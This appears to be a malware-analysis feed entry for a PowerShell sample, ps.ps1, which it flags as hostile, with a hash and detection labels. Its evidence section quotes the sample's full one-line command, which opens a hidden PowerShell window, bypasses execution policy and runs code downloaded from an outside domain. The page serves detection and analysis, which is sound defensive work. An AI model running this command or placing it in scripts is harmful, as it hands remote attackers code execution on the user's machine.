Hostile 100% windows Download

ps.ps1

Hidden PowerShell downloads and executes remote code

Hidden Start-Process launches bare-domain IRM evalHidden-window PowerShell bypasses policy and evaluates a remote response
SHA-256d720c70eb7a545bc1681ec12edddfb94caa42768aa81faf594477b8bc1328e18
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO₂(CXe)H₂(CmPo₆)

Evidence

Hidden-window PowerShell bypasses policy and evaluates a remote response line 1
1powershell -c "Start-Process -WindowStyle Hidden powershell -Args '-ExecutionPolicy Bypass -c iex(irm ycjlvalve.com)'"

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.